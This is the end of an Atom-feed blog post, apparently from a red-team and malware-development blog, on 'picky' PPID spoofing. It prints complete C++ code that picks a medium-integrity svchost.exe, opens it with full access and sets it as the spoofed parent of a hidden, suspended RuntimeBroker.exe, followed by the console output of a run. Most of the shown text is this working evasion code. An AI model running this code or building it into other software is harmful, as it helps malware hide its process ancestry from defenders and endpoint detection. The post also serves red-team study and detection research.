    <span class="n">pTokenIL</span> <span class="o">=</span> <span class="p">(</span><span class="n">TOKEN_MANDATORY_LABEL</span><span class="o">*</span><span class="p">)</span><span class="n">LocalAlloc</span><span class="p">(</span><span class="n">LPTR</span><span class="p">,</span> <span class="n">cbTokenIL</span><span class="p">);</span>
    <span class="n">GetTokenInformation</span><span class="p">(</span><span class="n">hToken</span><span class="p">,</span> <span class="n">TokenIntegrityLevel</span><span class="p">,</span> <span class="n">pTokenIL</span><span class="p">,</span> <span class="n">cbTokenIL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">cbTokenIL</span><span class="p">);</span>

    <span class="n">DWORD</span> <span class="n">dwIntegrityLevel</span> <span class="o">=</span> <span class="o">*</span><span class="n">GetSidSubAuthority</span><span class="p">(</span><span class="n">pTokenIL</span><span class="o">-&gt;</span><span class="n">Label</span><span class="p">.</span><span class="n">Sid</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">dwIntegrityLevel</span> <span class="o">==</span> <span class="n">SECURITY_MANDATORY_LOW_RID</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="s">L"LOW"</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">dwIntegrityLevel</span> <span class="o">&gt;=</span> <span class="n">SECURITY_MANDATORY_MEDIUM_RID</span> <span class="o">&amp;&amp;</span> <span class="n">dwIntegrityLevel</span> <span class="o">&lt;</span> <span class="n">SECURITY_MANDATORY_HIGH_RID</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="s">L"MEDIUM"</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">dwIntegrityLevel</span> <span class="o">&gt;=</span> <span class="n">SECURITY_MANDATORY_HIGH_RID</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="s">L"HIGH"</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">dwIntegrityLevel</span> <span class="o">&gt;=</span> <span class="n">SECURITY_MANDATORY_SYSTEM_RID</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="s">L"SYSTEM"</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This <code class="language-plaintext highlighter-rouge">getIntegrityLevel</code> function is used within the <code class="language-plaintext highlighter-rouge">getPPID</code> function so it will only return the PID of the parent process with a specific integrity level, which is <strong>MEDIUM</strong> in our case.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DWORD</span> <span class="nf">getPPID</span><span class="p">(</span><span class="n">LPCWSTR</span> <span class="n">processName</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">HANDLE</span> <span class="n">snapshot</span> <span class="o">=</span> <span class="n">CreateToolhelp32Snapshot</span><span class="p">(</span><span class="n">TH32CS_SNAPPROCESS</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">PROCESSENTRY32</span> <span class="n">process</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
    <span class="n">process</span><span class="p">.</span><span class="n">dwSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">process</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">Process32First</span><span class="p">(</span><span class="n">snapshot</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">process</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">do</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">wcscmp</span><span class="p">(</span><span class="n">process</span><span class="p">.</span><span class="n">szExeFile</span><span class="p">,</span> <span class="n">processName</span><span class="p">))</span> <span class="p">{</span>
                <span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">MAXIMUM_ALLOWED</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">process</span><span class="p">.</span><span class="n">th32ProcessID</span><span class="p">);</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">hProcess</span><span class="p">)</span> <span class="p">{</span>
                    <span class="n">LPCWSTR</span> <span class="n">integrityLevel</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
                    <span class="n">integrityLevel</span> <span class="o">=</span> <span class="n">getIntegrityLevel</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
                    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">wcscmp</span><span class="p">(</span><span class="n">integrityLevel</span><span class="p">,</span> <span class="s">L"MEDIUM"</span><span class="p">))</span> <span class="p">{</span>
                        <span class="k">break</span><span class="p">;</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">Process32Next</span><span class="p">(</span><span class="n">snapshot</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">process</span><span class="p">));</span>
    <span class="p">}</span>

    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">snapshot</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">process</span><span class="p">.</span><span class="n">th32ProcessID</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="the-finally">The Finally</h2>

<p>Here’s what the final code looks like.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;TlHelp32.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="n">LPCWSTR</span> <span class="nf">getIntegrityLevel</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">HANDLE</span> <span class="n">hToken</span><span class="p">;</span>
    <span class="n">OpenProcessToken</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">TOKEN_QUERY</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hToken</span><span class="p">);</span>
    
    <span class="n">DWORD</span> <span class="n">cbTokenIL</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">PTOKEN_MANDATORY_LABEL</span> <span class="n">pTokenIL</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
    <span class="n">GetTokenInformation</span><span class="p">(</span><span class="n">hToken</span><span class="p">,</span> <span class="n">TokenIntegrityLevel</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">cbTokenIL</span><span class="p">);</span>
    <span class="n">pTokenIL</span> <span class="o">=</span> <span class="p">(</span><span class="n">TOKEN_MANDATORY_LABEL</span><span class="o">*</span><span class="p">)</span><span class="n">LocalAlloc</span><span class="p">(</span><span class="n">LPTR</span><span class="p">,</span> <span class="n">cbTokenIL</span><span class="p">);</span>
    <span class="n">GetTokenInformation</span><span class="p">(</span><span class="n">hToken</span><span class="p">,</span> <span class="n">TokenIntegrityLevel</span><span class="p">,</span> <span class="n">pTokenIL</span><span class="p">,</span> <span class="n">cbTokenIL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">cbTokenIL</span><span class="p">);</span>

    <span class="n">DWORD</span> <span class="n">dwIntegrityLevel</span> <span class="o">=</span> <span class="o">*</span><span class="n">GetSidSubAuthority</span><span class="p">(</span><span class="n">pTokenIL</span><span class="o">-&gt;</span><span class="n">Label</span><span class="p">.</span><span class="n">Sid</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">dwIntegrityLevel</span> <span class="o">==</span> <span class="n">SECURITY_MANDATORY_LOW_RID</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="s">L"LOW"</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">dwIntegrityLevel</span> <span class="o">&gt;=</span> <span class="n">SECURITY_MANDATORY_MEDIUM_RID</span> <span class="o">&amp;&amp;</span> <span class="n">dwIntegrityLevel</span> <span class="o">&lt;</span> <span class="n">SECURITY_MANDATORY_HIGH_RID</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="s">L"MEDIUM"</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">dwIntegrityLevel</span> <span class="o">&gt;=</span> <span class="n">SECURITY_MANDATORY_HIGH_RID</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="s">L"HIGH"</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">dwIntegrityLevel</span> <span class="o">&gt;=</span> <span class="n">SECURITY_MANDATORY_SYSTEM_RID</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="s">L"SYSTEM"</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="n">DWORD</span> <span class="n">getPPID</span><span class="p">(</span><span class="n">LPCWSTR</span> <span class="n">processName</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">HANDLE</span> <span class="n">snapshot</span> <span class="o">=</span> <span class="n">CreateToolhelp32Snapshot</span><span class="p">(</span><span class="n">TH32CS_SNAPPROCESS</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">PROCESSENTRY32</span> <span class="n">process</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
    <span class="n">process</span><span class="p">.</span><span class="n">dwSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">process</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">Process32First</span><span class="p">(</span><span class="n">snapshot</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">process</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">do</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">wcscmp</span><span class="p">(</span><span class="n">process</span><span class="p">.</span><span class="n">szExeFile</span><span class="p">,</span> <span class="n">processName</span><span class="p">))</span> <span class="p">{</span>
                <span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">MAXIMUM_ALLOWED</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">process</span><span class="p">.</span><span class="n">th32ProcessID</span><span class="p">);</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">hProcess</span><span class="p">)</span> <span class="p">{</span>
                    <span class="n">LPCWSTR</span> <span class="n">integrityLevel</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
                    <span class="n">integrityLevel</span> <span class="o">=</span> <span class="n">getIntegrityLevel</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
                    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">wcscmp</span><span class="p">(</span><span class="n">integrityLevel</span><span class="p">,</span> <span class="s">L"MEDIUM"</span><span class="p">))</span> <span class="p">{</span>
                        <span class="k">break</span><span class="p">;</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">Process32Next</span><span class="p">(</span><span class="n">snapshot</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">process</span><span class="p">));</span>
    <span class="p">}</span>

    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">snapshot</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">process</span><span class="p">.</span><span class="n">th32ProcessID</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">STARTUPINFOEX</span> <span class="n">si</span> <span class="o">=</span> <span class="p">{</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">si</span><span class="p">)</span> <span class="p">};</span>
    <span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span><span class="p">;</span>
    <span class="n">SIZE_T</span> <span class="n">attributeSize</span><span class="p">;</span>

    <span class="n">InitializeProcThreadAttributeList</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">attributeSize</span><span class="p">);</span>
    <span class="n">si</span><span class="p">.</span><span class="n">lpAttributeList</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPPROC_THREAD_ATTRIBUTE_LIST</span><span class="p">)</span><span class="n">HeapAlloc</span><span class="p">(</span><span class="n">GetProcessHeap</span><span class="p">(),</span> <span class="mi">0</span><span class="p">,</span> <span class="n">attributeSize</span><span class="p">);</span>
    <span class="n">InitializeProcThreadAttributeList</span><span class="p">(</span><span class="n">si</span><span class="p">.</span><span class="n">lpAttributeList</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">attributeSize</span><span class="p">);</span>

    <span class="n">LPCWSTR</span> <span class="n">parentProcess</span> <span class="o">=</span> <span class="s">L"svchost.exe"</span><span class="p">;</span>
    <span class="n">DWORD</span> <span class="n">dwParentPID</span> <span class="o">=</span> <span class="n">getPPID</span><span class="p">(</span><span class="n">parentProcess</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] Spoofing %ws (PID: %u) as the parent process.</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">parentProcess</span><span class="p">,</span> <span class="n">dwParentPID</span><span class="p">);</span>

    <span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="nb">false</span><span class="p">,</span> <span class="n">dwParentPID</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hProcess</span><span class="p">)</span> <span class="p">{</span>
        <span class="kt">wchar_t</span> <span class="n">errorMessage</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
        <span class="n">FormatMessage</span><span class="p">(</span><span class="n">FORMAT_MESSAGE_FROM_SYSTEM</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">(),</span> <span class="n">MAKELANGID</span><span class="p">(</span><span class="n">LANG_NEUTRAL</span><span class="p">,</span> <span class="n">SUBLANG_DEFAULT</span><span class="p">),</span> <span class="n">errorMessage</span><span class="p">,</span> <span class="mi">255</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"[!] Failed to get a handle with the following error: %ws</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">errorMessage</span><span class="p">);</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] Got a handle of 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">hProcess</span><span class="p">);</span>

    <span class="n">UpdateProcThreadAttribute</span><span class="p">(</span><span class="n">si</span><span class="p">.</span><span class="n">lpAttributeList</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">PROC_THREAD_ATTRIBUTE_PARENT_PROCESS</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hProcess</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">HANDLE</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>

    <span class="n">LPCWSTR</span> <span class="n">spawnProcess</span> <span class="o">=</span> <span class="s">L"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">RuntimeBroker.exe"</span><span class="p">;</span>
    <span class="n">CreateProcess</span><span class="p">(</span><span class="n">spawnProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">TRUE</span><span class="p">,</span> <span class="n">CREATE_SUSPENDED</span> <span class="o">|</span> <span class="n">CREATE_NO_WINDOW</span> <span class="o">|</span> <span class="n">EXTENDED_STARTUPINFO_PRESENT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="p">(</span><span class="n">STARTUPINFO</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">si</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pi</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] Spawning %ws (PID: %u)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">spawnProcess</span><span class="p">,</span> <span class="n">pi</span><span class="p">.</span><span class="n">dwProcessId</span><span class="p">);</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>If we run this code, we got the following output.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Users\Meelo\Desktop</span><span class="err">&gt;</span><span class="w"> </span><span class="o">.</span><span class="nx">\PickyPPIDSpoofing.exe</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Spoofing</span><span class="w"> </span><span class="nx">svchost.exe</span><span class="w"> </span><span class="p">(</span><span class="n">PID:</span><span class="w"> </span><span class="nx">2740</span><span class="p">)</span><span class="w"> </span><span class="n">as</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">parent</span><span class="w"> </span><span class="nx">process.</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Got</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">handle</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">0x00000000000000AC</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Spawning</span><span class="w"> </span><span class="nx">C:\Windows\System32\RuntimeBroker.exe</span><span class="w"> </span><span class="p">(</span><span class="n">PID:</span><span class="w"> </span><span class="nx">772</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>

<p>The main difference of this output from the previous one is the PID of <code class="language-plaintext highlighter-rouge">svchost.exe</code> has changed from <strong>860</strong> to <strong>2740</strong>. We can also see that we’ve successfully obtained a process handle. As a result, <code class="language-plaintext highlighter-rouge">RuntimeBroker.exe</code> was spawned under the parent process of <code class="language-plaintext highlighter-rouge">svchost.exe</code>.</p>

<p><a href="/static/img/2021-11-22-picky-ppid-spoofing/spawned.png"><img src="/static/img/2021-11-22-picky-ppid-spoofing/spawned.png" alt="Successfully Spawned RuntimeBroker.exe" /></a></p>]]></content><author><name>Capt. Meelo</name></author><category term="redteam" /><category term="maldev" /><summary type="html"><![CDATA[Performing PPID Spoofing by targeting a parent process with a specific integrity level.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2021-11-22-picky-ppid-spoofing/spawned.png" /><media:content medium="image" url="https://captmeelo.com/static/img/2021-11-22-picky-ppid-spoofing/spawned.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>